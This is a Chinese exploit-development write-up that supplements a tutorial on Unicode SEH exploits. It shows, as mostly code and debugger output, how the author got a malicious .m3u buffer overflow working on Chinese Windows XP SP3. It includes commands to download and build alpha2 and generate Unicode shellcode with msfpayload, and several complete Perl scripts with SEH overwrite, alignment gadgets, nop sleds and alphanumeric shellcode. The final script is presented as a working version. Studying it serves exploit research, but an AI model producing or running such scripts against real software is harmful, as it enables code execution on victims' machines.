标题:对《编写unicode exploit》一文的补充
作者:riusksk(泉哥)
主页:http://riusksk.blogbus.com

《编写Unicode Exploit》原文地址:http://bbs.pediy.com/showthread.php?t=120637

1.关于unicode shellcode生成的问题

原本我是用windows平台下的msf,但始终没有成功。后来又改用pentoo系统上的msf还是没有成功,最后按作者的建议使用BT4,可惜依然没有成功。然后我就将msf与alpha2合用,大家可以在BT4 final上使用以下命令来生成:

代码:
wget http://packetstormsecurity.org/shellcode/alpha2.tar.gz
tar xvzf alpha2.tar.gz
cd alpha2
gcc alpha2.c -o alpha2
msfpayload windows/exec cmd=calc r | ./alpha2 eax --unicode -t perl
2.关于ret(c3>7f) 的问题

原作者是采用xp sp3 en版本的系统,由于unicode codepage / language/regional settings 的不同,在原作者的系统中,ret(c3)并不会被转换,但是在我的xp sp3 中文版上,它会被转换成 88 80,自然也就无法实现ret指令,如果像原作者那样在exploit中使用ret的话,必然是无法正常运行的。下面是我在自己系统上的测试代码及调试情况:

代码:
my $junk = "A" x 270;           # 我个人系统上相对SEH的偏移量

my $nseh = "x61x62";

my $seh = "x15x45" ;

my $preparestuff="D"; #we need the first D

$preparestuff=$preparestuff."x6e"; #nop/align

$preparestuff=$preparestuff."x55"; #push ebp

$preparestuff=$preparestuff."x6e"; #nop/align

$preparestuff=$preparestuff."x58"; #pop eax

$preparestuff=$preparestuff."x6e"; #pop/align

$preparestuff=$preparestuff."x05x14x11"; #add eax,0x11001400

$preparestuff=$preparestuff."x6e"; #pop/align

$preparestuff=$preparestuff."x2dx13x11"; #sub eax,0x11001300

$preparestuff=$preparestuff."x6e"; #pop/align

my $jump = "x50"; #push eax

$jump=$jump."x6d"; #nop/align

$jump=$jump."xc3"; #ret  问题在这里

my $morestuff="D" x (5000-length($junk.$nseh.$seh.$preparestuff.$jump));

$payload=$junk.$nseh.$seh.$preparestuff.$jump.$morestuff;

open(myfile,'>corelantest.m3u');

print myfile $payload;

close(myfile);
Windbg调试器下的情况:

代码:
0:005> !exchain

029bfd54: image00400000+50015 (00450015)

Invalid exception stack at 00620061

0:005> d 029bfd54

029bfd54  61 00 62 00 15 00 45 00-44 00 6e 00 55 00 6e 00  a.b…E.D.n.U.n.

029bfd64  58 00 6e 00 05 00 14 00-11 00 6e 00 2d 00 13 00  X.n…….n.-…

029bfd74  11 00 6e 00 50 00 6d 00-88 80 44 00 44 00 44 00  ..n.P.m…D.D.D.

029bfd84  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.

029bfd94  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.

029bfda4  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.

029bfdb4  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.

029bfdc4  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.

0:005> t

eax=029bfe54 ebx=029bfd54 ecx=7c92327a edx=029bedd0 esi=029bedbc edi=029bee04

eip=029bfd78 esp=029bed2c ebp=029bfd54 iopl=0         nv up ei pl nz na pe cy

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207

<Unloaded_papi.dll>+0x29bfd77:

029bfd78 50              push    eax

0:005> t

eax=029bfe54 ebx=029bfd54 ecx=7c92327a edx=029bedd0 esi=029bedbc edi=029bee04

eip=029bfd79 esp=029bed28 ebp=029bfd54 iopl=0         nv up ei pl nz na pe cy

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207

<Unloaded_papi.dll>+0x29bfd78:

029bfd79 006d00          add     byte ptr [ebp],ch          ss:0023:029bfd54=61

0:005> t

eax=029bfe54 ebx=029bfd54 ecx=7c92327a edx=029bedd0 esi=029bedbc edi=029bee04

eip=029bfd7c esp=029bed28 ebp=029bfd54 iopl=0         ov up ei ng nz na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000a86

<Unloaded_papi.dll>+0x29bfd7b:

029bfd7c 888044004400    mov     byte ptr image00400000+0x40044 (00440044)[eax],al ds:0023:02dffe98=??

然后我就用70~FF之间的字符去填充缓冲区,从80开始就会被转换成完全不同的两字节,而非直接添加00上去,而70前面几个字符只是为了方便查找才添加上去的,然后看看这些字符有没有被转换成c3的,不过结果令人相当失望。测试情况如下:

代码:
0:005> !exchain

029bfd54: image00400000+50015 (00450015)

Invalid exception stack at 00620061

0:005> d 029bfd54

029bfd54  61 00 62 00 15 00 45 00-44 00 6e 00 55 00 6e 00  a.b…E.D.n.U.n.

029bfd64  58 00 6e 00 05 00 14 00-11 00 6e 00 2d 00 13 00  X.n…….n.-…

029bfd74  11 00 6e 00 50 00 6d 00-70 00 71 00 72 00 73 00  ..n.P.m.p.q.r.s.

029bfd84  74 00 75 00 76 00 77 00-78 00 79 00 7a 00 7b 00  t.u.v.w.x.y.z.{.

029bfd94  7c 00 7d 00 7e 00 7f 00-ac 20 97 4e 0e 51 97 53  |.}.~…. .N.Q.S

029bfda4  72 56 9b 58 bd 5a 15 5d-41 5f ad 61 42 64 7c 66  rV.X.Z.]A_.aBd|f

029bfdb4  d9 68 c4 6a 14 6d 6a 6f-5a 71 01 30 e5 ff a6 30  .h.j.mjoZq.0…0

029bfdc4  16 04 06 25 69 e0 27 e1-e5 e1 88 8f 92 70 00 52  …%i.'……p.R

0:005> d

029bfdd4  af 72 2d 8d a3 60 84 9a-77 57 05 8c 9a 5a 4c 72  .r-..`..wW…ZLr

029bfde4  a8 4f 92 58 82 98 c0 81-f2 95 a9 5c c9 91 69 7f  .O.X………i.

029bfdf4  d5 68 dd 4e 2e 57 89 84-d9 54 95 5f 85 6c 50 5f  .h.N.W…T._.lP_

029bfe04  b7 73 9b 6b 71 81 0d 77-73 95 31 80 dd 7b 8a 8c  .s.kq..ws.1..{..

029bfe14  2c 9f eb e2 a9 e3 67 e4-f5 f8 44 00 44 00 44 00  ,…..g…D.D.D.

029bfe24  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.

029bfe34  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.

029bfe44  44 00 44 00 44 00 44 00-44 00 44 00 44 00 44 00  D.D.D.D.D.D.D.D.
在向作者请教后,他建议我“走”到shellcode,也就push eax/ret 这指令省掉,而直接在shellcode前填充nop,使其直接运行到shellcode。但是如果我们直接用一连串的\x6e来作为nops,明显是不行的,因为它会被转换成6e 00 6e 00 ,而非00 6e 00,所以我们需要在它之前添加一字节,比如:
代码:
\x43\x70\x43\x70
 或者
代码:
\x43\x6e\x43\x6e
当然你也可直接使用\x70,因为 00 70 相当于如下指令:

代码:
029bfd78 7000            jo      <Unloaded_papi.dll>+0x29bfd79 (029bfd7a)
029bfd7a 7000            jo      <Unloaded_papi.dll>+0x29bfd7b (029bfd7c)
029bfd7c 7000            jo      <Unloaded_papi.dll>+0x29bfd7d (029bfd7e)
只要这些不会对后面要使用的eax(必须指向shellcode的第一字节,哪怕是shellcode前的nop也不行,我就是犯了这样的错误,弄了好久才搞定)进行修改就可以。最后我用下面这脚本进行测试:

代码:
my $junk = "A" x 270;
my $nseh = "\x61\x62";
my $seh = "\x15\x45" ;

my $preparestuff="D"; #we need the first D
$preparestuff=$preparestuff."\x6e"; #nop/align
$preparestuff=$preparestuff."\x55"; #push ebp
$preparestuff=$preparestuff."\x6e"; #nop/align
$preparestuff=$preparestuff."\x58"; #pop eax
$preparestuff=$preparestuff."\x6e"; #pop/align
$preparestuff=$preparestuff."\x05\x14\x11"; #add eax,0x11001400
$preparestuff=$preparestuff."\x6e"; #pop/align
$preparestuff=$preparestuff."\x2d\x13\x11"; #sub eax,0x11001300
$preparestuff=$preparestuff."\x6e"; #pop/align

my $nops = "\x43\x6e" x 150; #nop/align
my $shellcode="PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBKLyXRiYpIpYpOpTIyUmaWbrD2kpRNP4KNrLLbkNrJtRkqbLhJo6WnjKvLqkO01epfLOLaQCLjbLlKp91VoLMM1gWZBzPObpWRkObjpTKoRMlYqXPTKmp2XSUep2TNjIqHP0PDKPHKhTK1HKpKQvs9SoLniRkNTbkjaWfLqYomaupdluqfoJmyqUwnXwpPuZTysSMXxOKcMND3E9R0XDKOhLdKQJ3RF4KlLPKDKpXklM1Gc4KLDtKyqFpqyNdNDnDaKok0aPYpZ0Q9oK0NxooaJ4KlRZKRfaMOzkQtMauwI9pm0M0np0hnQdKROu7yoXUgKL0fUg2pVoxw6tU5muMyoxUoLjfsLlJQpKKwpRUKUWKQ7mC2R2OozypPSYoz5d3s8KPkZA";

my $morestuff="D" x (5000-length($junk.$nseh.$seh.$preparestuff.$nops.$shellcode));
$payload=$junk.$nseh.$seh.$preparestuff.$nops.$shellcode.$morestuff;

open(myfile,'>exploit.m3u');
print myfile $payload;
close(myfile);
但是shellcode被中断掉了:
    
代码:
eax=029bfe54 ebx=029bfd9f ecx=029bfe46 edx=029bedd0 esi=029bedbc edi=029bee04
    eip=029bfee4 esp=029bed2c ebp=029bfd54 iopl=0         ov up ei ng nz ac po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000a92
    <Unloaded_papi.dll>+0x29bfee3:
    029bfee4 6a00            push    0
    0:005> t
    eax=029bfe54 ebx=029bfd9f ecx=029bfe46 edx=029bedd0 esi=029bedbc edi=029bee04
    eip=029bfee6 esp=029bed28 ebp=029bfd54 iopl=0         ov up ei ng nz ac po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000a92
    <Unloaded_papi.dll>+0x29bfee5:
    029bfee6 58              pop     eax

    ……

    eax=00000000 ebx=029bfd9f ecx=029bff46 edx=029bff45 esi=029bedbc edi=029bee04
    eip=029bff80 esp=029bed2c ebp=029bfd54 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
    <Unloaded_papi.dll>+0x29bff7f:
    029bff80 830042          add     dword ptr [eax],42h  ds:0023:00000000=????????
于是我就尝试着使用其它shellcode,但每次都因各种原因而导致shellcode被中断掉。就这样连续好几天都没有搞定,晚上正是作者给了我提示才注意到eax的问题,原话如下:

引用:
In your debugger output, I see 

eax=029bfe54
eip = 029bfee4

are you sure eax points exactly to the first byte of the shellcode ?
然后我才发现原来我的eax是指向shellcode前面的nop了,而非shellcode的第一字节:

代码:
0:005> t
eax=029bfe54 ebx=029bfd54 ecx=7c92327a edx=029bedd0 esi=029bedbc edi=029bee04
eip=029bfd78 esp=029bed2c ebp=029bfd54 iopl=0         nv up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207
<Unloaded_papi.dll>+0x29bfd77:
029bfd78 43              inc     ebx
0:005> d 29bfe54
029bfe54  43 00 6e 00 43 00 6e 00-43 00 6e 00 43 00 6e 00  C.n.C.n.C.n.C.n.
029bfe64  43 00 6e 00 43 00 6e 00-43 00 6e 00 43 00 6e 00  C.n.C.n.C.n.C.n.
029bfe74  43 00 6e 00 43 00 6e 00-43 00 6e 00 43 00 6e 00  C.n.C.n.C.n.C.n.
029bfe84  43 00 6e 00 43 00 6e 00-43 00 6e 00 43 00 6e 00  C.n.C.n.C.n.C.n.
029bfe94  43 00 6e 00 43 00 6e 00-43 00 6e 00 43 00 6e 00  C.n.C.n.C.n.C.n.
029bfea4  43 00 6e 00 43 00 6e 00-43 00 6e 00 43 00 6e 00  C.n.C.n.C.n.C.n.
029bfeb4  43 00 6e 00 43 00 6e 00-43 00 6e 00 43 00 6e 00  C.n.C.n.C.n.C.n.
029bfec4  43 00 6e 00 43 00 6e 00-43 00 6e 00 43 00 6e 00  C.n.C.n.C.n.C.n.
最后经过调试发现,第一个43 00 6e 00出现在0x029bfd78,而此时eax指向029bfe54(这里必须为shellcode的第一字节),因此shellcode前面的字节数应为0x029bfe54 - 0x029bfd78 = 0xDC,而\x43\x6e经unicode转换后为4字节,因此再除以4得到0x37(55),最后构造出脚本:

代码:
my $junk = "A" x 270;
my $nseh = "\x61\x62";
my $seh = "\x15\x45" ;

my $preparestuff="D"; #we need the first D
$preparestuff=$preparestuff."\x6e"; #nop/align
$preparestuff=$preparestuff."\x55"; #push ebp
$preparestuff=$preparestuff."\x6e"; #nop/align
$preparestuff=$preparestuff."\x58"; #pop eax
$preparestuff=$preparestuff."\x6e"; #pop/align
$preparestuff=$preparestuff."\x05\x14\x11"; #add eax,0x11001400
$preparestuff=$preparestuff."\x6e"; #pop/align
$preparestuff=$preparestuff."\x2d\x13\x11"; #sub eax,0x11001300
$preparestuff=$preparestuff."\x6e"; #pop/align

my $nops = "\x43\x6e" x 55; #nop/align, 55个nop刚好使eax指向shellcode的第一字节

my $shellcode="PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBKLyXRiYpIpYpOpTIyUmaWbrD2kpRNP4KNrLLbkNrJtRkqbLhJo6WnjKvLqkO01epfLOLaQCLjbLlKp91VoLMM1gWZBzPObpWRkObjpTKoRMlYqXPTKmp2XSUep2TNjIqHP0PDKPHKhTK1HKpKQvs9SoLniRkNTbkjaWfLqYomaupdluqfoJmyqUwnXwpPuZTysSMXxOKcMND3E9R0XDKOhLdKQJ3RF4KlLPKDKpXklM1Gc4KLDtKyqFpqyNdNDnDaKok0aPYpZ0Q9oK0NxooaJ4KlRZKRfaMOzkQtMauwI9pm0M0np0hnQdKROu7yoXUgKL0fUg2pVoxw6tU5muMyoxUoLjfsLlJQpKKwpRUKUWKQ7mC2R2OozypPSYoz5d3s8KPkZA";

my $morestuff="D" x (5000-length($junk.$nseh.$seh.$preparestuff.$nops.$shellcode));
$payload=$junk.$nseh.$seh.$preparestuff.$nops.$shellcode.$morestuff;

open(myfile,'>exploit.m3u');
print myfile $payload;
close(myfile);
测试结果: